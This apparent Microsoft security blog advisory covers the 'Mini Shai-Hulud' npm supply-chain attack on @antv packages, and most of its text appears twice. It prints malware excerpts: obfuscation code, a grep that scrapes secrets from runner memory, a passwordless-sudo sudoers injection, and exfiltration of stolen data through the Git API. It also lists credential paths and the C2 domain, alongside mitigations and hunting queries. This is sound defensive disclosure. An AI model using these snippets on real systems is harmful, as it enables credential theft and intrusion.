Description
Microsoft has identified an active supply chain attack targeting the _@antv_ node package manager (npm) package ecosystem. A threat actor compromised an _@antv_ maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact.
The compromise propagated through dependency chains into libraries like _echarts-for-react_(which has more than 1 million weekly downloads), expanding the blast radius into CI/CD pipelines and cloud workloads across the ecosystem. The malicious payload—a ~499 KB obfuscated JavaScript file—runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments.
Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI/CD environments.
The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved.
## Attack chain overview
Figure 1. @antv npm supply chain attack flow.
The _@antv_ organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through:
* Maintainer account compromise and publication of malicious _@antv_ package versions
* Downstream dependency amplification (_echarts-for-react_ , _size-sensor_ , and others)
* Automatic payload execution through a preinstall hook during npm install
* Execution chain: node → shell → bun → payload (Bun runtime installed if absent)
### Technical analysis
The payload replaces the legitimate index.js with a single-line obfuscated script.
#### Obfuscation
* **Layer 1:** 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de
* **Layer 2:** Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime.
* **Environment gating:** The payload exits immediately if it’s not running on GitHub Actions on Linux
* **Branch avoidance:** Skips the _main_ , _master_ , _dependabot/_ , _renovate/_ , and _gh-pages_ when using Git API exfiltration
// Layer 1: 1,732 strings in rotated array with base64 decode
(function(_0x44be0e, _0x3ff020){
// Array shuffle IIFE with key 0xa31de
_0x335af4['push'](_0x335af4['shift']());
})(_0x71ec, 0xa31de));
// Layer 2: PBKDF2+SHA256 runtime decryption for critical strings
var e6 = "a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e";
var t6 = "7f44e4ba6f6a71bd0f789e7f83bd3104";
var u5 = new du(e6, t6); // PBKDF2 cipher instance
globalThis["f2959c600"] = function(s) { return u5.decode(s); };
// Environment gate - exits if not GitHub Actions on Linux
this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')] === 'true';
this['isLinuxRunner'] = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux';
#### Credential theft
The payload targets secrets across six platforms:
* **GitHub** : Extracts _GITHUB_TOKEN_ , scans for Personal Access Tokens (_gh[op]__) and installation tokens (_ghs__), validates through _/user_ API, and enumerates repo and org secrets.
* **Amazon Web Services(AWS)** : Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads _.aws/_ files, harvests env vars, and then calls SecretsManager across all regions.
* **HashiCorp Vault** : Searches 12+ token paths (_/var/run/secrets/vault/token_ , _~/.vault-token_ , and others) and connects to a local Vault at 127.0.0[.]1:8200.
* **npm** : Validates tokens using _/-/whoami_ , exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages
* **Kubernetes** : Reads service account tokens and enumerates namespace secrets
* **1Password** : Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass
// AWS Secrets Manager enumeration
'secretsmanager:ListSecrets'
'secretsmanager:GetSecretValue('
// Vault token paths searched (12+ locations)
'/var/run/secrets/vault/token'
'/.vault-token'
'/home/runner/.vault-token'
'/root/.vault-token'
'/etc/vault/token'
// GitHub API secret enumeration
'/actions/secrets?per_page=100'
'/actions/organization-secrets?per_page=100'
#### Runner memory scraping
The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:
// Locates Runner.Worker PID via /proc
'findRunnerWorkerPIDLinux'
// Scans /proc//cmdline for "Runner.Worker"
// Extracts secrets from process memory
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u
This activity bypasses normal secret masking by reading secrets directly from runner process memory.
#### Privilege escalation
* Injects sudoers rule through bind mount: _echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner_
* Modifies _/etc/hosts_ for DNS redirection
// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' >
&& chmod 0440 /mnt/runner
// DNS manipulation
sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts"
// Validates sudo access before operations
sudo -n true
#### Exfiltration
Dual-channel exfiltration:
* **Primary:** HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe
* **Fallback:** Git Data API — Creates blobs, trees, or commits in victim repositories on non-protected branches
* **Tertiary:** Creates public repos under victim accounts with reversed description ("niagA oG eW ereH :duluH-iahS"); more than 2,200 of these repos have been observed as of this writing
// Primary: HTTPS C2 with encrypted domain (port 443)
let config = {
'domain': f2959c600('bXVunP4+izfR/cOx8zhW/fw8v6xFc4cvjYgGdbEE'),
'port': 0x1bb, // 443
'path': f2959c600('5WA4NOQUD/n/mNx/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='),
'dry_run': false
};
// Fallback: Git Data API - creates blobs/trees/commits in victim repos
await j(token, '/repos/' + owner + '/' + repo + '/git/blobs',
{'method': 'POST', 'body': JSON.stringify(stolen_data)});
'/git/trees'
'/git/commits'
// Branch filter - avoids protected branches to evade detection
Dw = ['dependabot/', 'renovate/', 'gh-pages', 'docs/',
'copilot/', 'master', 'main'];
#### Propagation and persistence
* Enumerates _/user/repos_ and _/user/orgs_ to spread into additional repositories
* Installs Bun runtime, executes second-stage payload using _bun run .claude/_
* Deploys token monitor for ongoing credential capture
* Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate
#### Impact and blast radius
* Direct compromise of _@antv_ packages with broad ecosystem adoption
* Amplification through downstream dependencies into thousands of projects
* Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
* SLSA provenance forgery erodes trust in supply chain attestation frameworks
### **How GitHub took action to prevent further harm******
Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed.
## Mitigation and protection guidance
Microsoft recommends the following mitigations to reduce the impact of this threat:
* Review dependency trees for direct or transitive usage of affected _@antv/_ packages.
* Identify systems that installed or built affected package versions during the suspected exposure window.
* Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
* Disable pre- and post-installation script execution by ensuring you run npm install with `--ignore-scripts`.
* While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
* Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
* Audit organization and personal GitHub accounts for public repositories with the description “niagA oG eW ereH :duluH-iahS” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
* Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
* Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
* Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
* Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
* Use Microsoft Defender Vulnerability Management to search for antv packages across your estate.
### Microsoft Defender XDR Detections
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
**Tactic**| **Observed activity**| **Microsoft Defender coverage**
---|---|---
Execution | Suspicious script execution during npm install or package lifecycle activity| **Microsoft Defender Antivirus**
- Trojan:AIGen/NPMStealer
- Backdoor:Python/ShaiWorm
- Trojan:JS/ShaiWorm
- Trojan:JS/ObfusNpmJs
**Microsoft Defender for Endpoint**
- Suspicious usage of Bun runtime
- Suspicious Installation of Bun runtime
- Suspicious _Node.js_ process behavior
Credential Access| Potential harvesting of environment variables, tokens, or developer secrets| **Microsoft Defender for Endpoint**
- Credential access attempt
- Suspicious cloud credential access by npm-cached binary
- Kubernetes secrets enumeration indicative of credential access
**Microsoft Defender for Cloud**
Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials
Command and Control| Potential outbound connections from build systems or developer machines| **Microsoft Defender for Endpoint**
Connection to a custom network indicator
* * *
# Microsoft Security Copilot
Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat, including:
* Incident investigation
* Microsoft user analysis
* Threat Intelligence 360 report based on MDTI article
* Vulnerability or supply chain impact assessment
Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.
### **Microsoft Defender XDR Threat analytics**
https://security.microsoft.com/threatanalytics3/5879a0e7-f145-407b-bc84-1ae405a016ea/overview
### Advanced hunting
The following sample queries let you search for a week's worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.
**Hunt for suspicious npm lifecycle script execution**
This query searches for _Node.js_ and npm activity involving install lifecycle behavior and relevant package references.
DeviceProcessEvents
| where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine,
AccountName
**Hunt for potential compromise of through malicious npm packages**
DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName in ("bun", "bun.exe")
| where ProcessCommandLine has "run index.js"
****Hunt for affected dependencies in your software inventory****
DeviceTvmSoftwareInventory
| where SoftwareName has "antv" or SoftwareVendor has "antv"
| project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion
**Hunt for suspicious outbound connection from python backdoor**
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where InitiatingProcessFileName startswith "python"
| where InitiatingProcessCommandLine has "/cat.py"
**Hunt for suspicious outbound activity from Node.js processes**
Searches for network connections initiated by Node.js or npm processes that reference package-related paths or commands.
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe")
| where InitiatingProcessCommandLine has_any ("@antv", "echarts-for-react", "node_modules")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
InitiatingProcessFileName, InitiatingProcessCommandLine,
AccountName
**Hunt for affected dependency references in developer directories**
This query searches for package manifest or lockfile activity that might contain relevant dependency references.
DeviceFileEvents
| where FileName in~ ("package.json", "package-lock.json", "yarn.lock", "pnpm-lock.yaml")
| where FolderPath has_any ("node_modules", "src", "repo", "workspace")
| where AdditionalFields has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FolderPath, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine
**Hunt for post-compromise C2 activity**
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl has "t.m-kosche.com"
**Shai-Hulud npm supply-chain indicator observed inside a Kubernetes container**
CloudProcessEvents
| where ProcessCommandLine has_any ("IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner", "niagA oG eW ereH", ":duluH-iahS", "t.m-kosche.com", "7cb42f57561c321ecb09b4552802ae0ac55b3a7a", "@antv/setup")
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName
### Indicators of Compromise (IOC)
**Indicator**| **Type**| **Description**
---|---|---
@antv – whole account| Package scope| All packages maintained by the antv account were compromised.
As per the latest statement from the account author’s this situation is now resolved.
echarts-for-react| Package name| One of the major downstream packages impacted by the antv compromise.
As per the latest statement from the repository author’s this situation is now resolved
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c| SHA-256| Malicious payload JavaScript file
fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142| SHA-256| Malicious backdoor Python script
t.m-kosche[.]com:443| Domain| Infrastructure associated with campaign
Index.js| File name| Malicious script or dropped file
cat.py| File name| Malicious script or dropped file
* * *
## References
* Mini Shai-Hulud Hits @antv Ecosystem, 639 Compromised npm Package Versions
_This research is provided by Microsoft Defender Security Research with contributions from Rahul Mohandas, Sumith Maniath, Ahmed Saleem Kasmani, Arvind Gowda, Sagar Patil, and members of Microsoft Threat Intelligence._
## Learn more
For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
* How Microsoft discovers and mitigates evolving attacks against AI guardrails
* Learn more about securing Copilot Studio agents with Microsoft Defender
* Evaluate your AI readiness with our latest Zero Trust for AI workshop.
* Learn more about Protect your agents in real-time during runtime (Preview)
* Explore how to build and customize agents with Copilot Studio Agent Builder
* Microsoft 365 Copilot AI security documentation
The post Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft appeared first on Microsoft Security Blog.
The compromise propagated through dependency chains into libraries like _echarts-for-react_(which has more than 1 million weekly downloads), expanding the blast radius into CI/CD pipelines and cloud workloads across the ecosystem. The malicious payload—a ~499 KB obfuscated JavaScript file—runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments.
Key capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI/CD environments.
The authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved.
## Attack chain overview
Figure 1. @antv npm supply chain attack flow.
The _@antv_ organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through:
* Maintainer account compromise and publication of malicious _@antv_ package versions
* Downstream dependency amplification (_echarts-for-react_ , _size-sensor_ , and others)
* Automatic payload execution through a preinstall hook during npm install
* Execution chain: node → shell → bun → payload (Bun runtime installed if absent)
### Technical analysis
The payload replaces the legitimate index.js with a single-line obfuscated script.
#### Obfuscation
* **Layer 1:** 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de
* **Layer 2:** Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime.
* **Environment gating:** The payload exits immediately if it’s not running on GitHub Actions on Linux
* **Branch avoidance:** Skips the _main_ , _master_ , _dependabot/_ , _renovate/_ , and _gh-pages_ when using Git API exfiltration
// Layer 1: 1,732 strings in rotated array with base64 decode
(function(_0x44be0e, _0x3ff020){
// Array shuffle IIFE with key 0xa31de
_0x335af4['push'](_0x335af4['shift']());
})(_0x71ec, 0xa31de));
// Layer 2: PBKDF2+SHA256 runtime decryption for critical strings
var e6 = "a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e";
var t6 = "7f44e4ba6f6a71bd0f789e7f83bd3104";
var u5 = new du(e6, t6); // PBKDF2 cipher instance
globalThis["f2959c600"] = function(s) { return u5.decode(s); };
// Environment gate - exits if not GitHub Actions on Linux
this['isGitHubActions'] = process.env[f2959c600('68zz23c6NGR9...')] === 'true';
this['isLinuxRunner'] = process.env[f2959c600('NhUrwwYEwYIJ...')] === 'Linux';
#### Credential theft
The payload targets secrets across six platforms:
* **GitHub** : Extracts _GITHUB_TOKEN_ , scans for Personal Access Tokens (_gh[op]__) and installation tokens (_ghs__), validates through _/user_ API, and enumerates repo and org secrets.
* **Amazon Web Services(AWS)** : Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads _.aws/_ files, harvests env vars, and then calls SecretsManager across all regions.
* **HashiCorp Vault** : Searches 12+ token paths (_/var/run/secrets/vault/token_ , _~/.vault-token_ , and others) and connects to a local Vault at 127.0.0[.]1:8200.
* **npm** : Validates tokens using _/-/whoami_ , exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages
* **Kubernetes** : Reads service account tokens and enumerates namespace secrets
* **1Password** : Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass
// AWS Secrets Manager enumeration
'secretsmanager:ListSecrets'
'secretsmanager:GetSecretValue('
// Vault token paths searched (12+ locations)
'/var/run/secrets/vault/token'
'/.vault-token'
'/home/runner/.vault-token'
'/root/.vault-token'
'/etc/vault/token'
// GitHub API secret enumeration
'/actions/secrets?per_page=100'
'/actions/organization-secrets?per_page=100'
#### Runner memory scraping
The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:
// Locates Runner.Worker PID via /proc
'findRunnerWorkerPIDLinux'
// Scans /proc//cmdline for "Runner.Worker"
// Extracts secrets from process memory
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u
This activity bypasses normal secret masking by reading secrets directly from runner process memory.
#### Privilege escalation
* Injects sudoers rule through bind mount: _echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner_
* Modifies _/etc/hosts_ for DNS redirection
// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' >
&& chmod 0440 /mnt/runner
// DNS manipulation
sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts"
// Validates sudo access before operations
sudo -n true
#### Exfiltration
Dual-channel exfiltration:
* **Primary:** HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe
* **Fallback:** Git Data API — Creates blobs, trees, or commits in victim repositories on non-protected branches
* **Tertiary:** Creates public repos under victim accounts with reversed description ("niagA oG eW ereH :duluH-iahS"); more than 2,200 of these repos have been observed as of this writing
// Primary: HTTPS C2 with encrypted domain (port 443)
let config = {
'domain': f2959c600('bXVunP4+izfR/cOx8zhW/fw8v6xFc4cvjYgGdbEE'),
'port': 0x1bb, // 443
'path': f2959c600('5WA4NOQUD/n/mNx/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc='),
'dry_run': false
};
// Fallback: Git Data API - creates blobs/trees/commits in victim repos
await j(token, '/repos/' + owner + '/' + repo + '/git/blobs',
{'method': 'POST', 'body': JSON.stringify(stolen_data)});
'/git/trees'
'/git/commits'
// Branch filter - avoids protected branches to evade detection
Dw = ['dependabot/', 'renovate/', 'gh-pages', 'docs/',
'copilot/', 'master', 'main'];
#### Propagation and persistence
* Enumerates _/user/repos_ and _/user/orgs_ to spread into additional repositories
* Installs Bun runtime, executes second-stage payload using _bun run .claude/_
* Deploys token monitor for ongoing credential capture
* Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate
#### Impact and blast radius
* Direct compromise of _@antv_ packages with broad ecosystem adoption
* Amplification through downstream dependencies into thousands of projects
* Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
* SLSA provenance forgery erodes trust in supply chain attestation frameworks
### **How GitHub took action to prevent further harm******
Upon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed.
## Mitigation and protection guidance
Microsoft recommends the following mitigations to reduce the impact of this threat:
* Review dependency trees for direct or transitive usage of affected _@antv/_ packages.
* Identify systems that installed or built affected package versions during the suspected exposure window.
* Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
* Disable pre- and post-installation script execution by ensuring you run npm install with `--ignore-scripts`.
* While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
* Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
* Audit organization and personal GitHub accounts for public repositories with the description “niagA oG eW ereH :duluH-iahS” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
* Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
* Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
* Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
* Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
* Use Microsoft Defender Vulnerability Management to search for antv packages across your estate.
### Microsoft Defender XDR Detections
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
**Tactic**| **Observed activity**| **Microsoft Defender coverage**
---|---|---
Execution | Suspicious script execution during npm install or package lifecycle activity| **Microsoft Defender Antivirus**
- Trojan:AIGen/NPMStealer
- Backdoor:Python/ShaiWorm
- Trojan:JS/ShaiWorm
- Trojan:JS/ObfusNpmJs
**Microsoft Defender for Endpoint**
- Suspicious usage of Bun runtime
- Suspicious Installation of Bun runtime
- Suspicious _Node.js_ process behavior
Credential Access| Potential harvesting of environment variables, tokens, or developer secrets| **Microsoft Defender for Endpoint**
- Credential access attempt
- Suspicious cloud credential access by npm-cached binary
- Kubernetes secrets enumeration indicative of credential access
**Microsoft Defender for Cloud**
Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials
Command and Control| Potential outbound connections from build systems or developer machines| **Microsoft Defender for Endpoint**
Connection to a custom network indicator
* * *
# Microsoft Security Copilot
Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat, including:
* Incident investigation
* Microsoft user analysis
* Threat Intelligence 360 report based on MDTI article
* Vulnerability or supply chain impact assessment
Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.
### **Microsoft Defender XDR Threat analytics**
https://security.microsoft.com/threatanalytics3/5879a0e7-f145-407b-bc84-1ae405a016ea/overview
### Advanced hunting
The following sample queries let you search for a week's worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.
**Hunt for suspicious npm lifecycle script execution**
This query searches for _Node.js_ and npm activity involving install lifecycle behavior and relevant package references.
DeviceProcessEvents
| where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
| where ProcessCommandLine has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine,
AccountName
**Hunt for potential compromise of through malicious npm packages**
DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName in ("bun", "bun.exe")
| where ProcessCommandLine has "run index.js"
****Hunt for affected dependencies in your software inventory****
DeviceTvmSoftwareInventory
| where SoftwareName has "antv" or SoftwareVendor has "antv"
| project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion
**Hunt for suspicious outbound connection from python backdoor**
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where InitiatingProcessFileName startswith "python"
| where InitiatingProcessCommandLine has "/cat.py"
**Hunt for suspicious outbound activity from Node.js processes**
Searches for network connections initiated by Node.js or npm processes that reference package-related paths or commands.
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe")
| where InitiatingProcessCommandLine has_any ("@antv", "echarts-for-react", "node_modules")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP,
InitiatingProcessFileName, InitiatingProcessCommandLine,
AccountName
**Hunt for affected dependency references in developer directories**
This query searches for package manifest or lockfile activity that might contain relevant dependency references.
DeviceFileEvents
| where FileName in~ ("package.json", "package-lock.json", "yarn.lock", "pnpm-lock.yaml")
| where FolderPath has_any ("node_modules", "src", "repo", "workspace")
| where AdditionalFields has_any ("@antv", "echarts-for-react")
| project Timestamp, DeviceName, FolderPath, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine
**Hunt for post-compromise C2 activity**
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl has "t.m-kosche.com"
**Shai-Hulud npm supply-chain indicator observed inside a Kubernetes container**
CloudProcessEvents
| where ProcessCommandLine has_any ("IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner", "niagA oG eW ereH", ":duluH-iahS", "t.m-kosche.com", "7cb42f57561c321ecb09b4552802ae0ac55b3a7a", "@antv/setup")
| project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName
### Indicators of Compromise (IOC)
**Indicator**| **Type**| **Description**
---|---|---
@antv – whole account| Package scope| All packages maintained by the antv account were compromised.
As per the latest statement from the account author’s this situation is now resolved.
echarts-for-react| Package name| One of the major downstream packages impacted by the antv compromise.
As per the latest statement from the repository author’s this situation is now resolved
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c| SHA-256| Malicious payload JavaScript file
fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142| SHA-256| Malicious backdoor Python script
t.m-kosche[.]com:443| Domain| Infrastructure associated with campaign
Index.js| File name| Malicious script or dropped file
cat.py| File name| Malicious script or dropped file
* * *
## References
* Mini Shai-Hulud Hits @antv Ecosystem, 639 Compromised npm Package Versions
_This research is provided by Microsoft Defender Security Research with contributions from Rahul Mohandas, Sumith Maniath, Ahmed Saleem Kasmani, Arvind Gowda, Sagar Patil, and members of Microsoft Threat Intelligence._
## Learn more
For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
* How Microsoft discovers and mitigates evolving attacks against AI guardrails
* Learn more about securing Copilot Studio agents with Microsoft Defender
* Evaluate your AI readiness with our latest Zero Trust for AI workshop.
* Learn more about Protect your agents in real-time during runtime (Preview)
* Explore how to build and customize agents with Copilot Studio Agent Builder
* Microsoft 365 Copilot AI security documentation
The post Mini Shai Hulud: Compromised @antv npm packages enable CI/CD credential theft appeared first on Microsoft Security Blog.
Basic Information
ID
MSSECURE:6D00E966D9372364C645950D0C2319E5
Published
May 20, 2026 at 17:48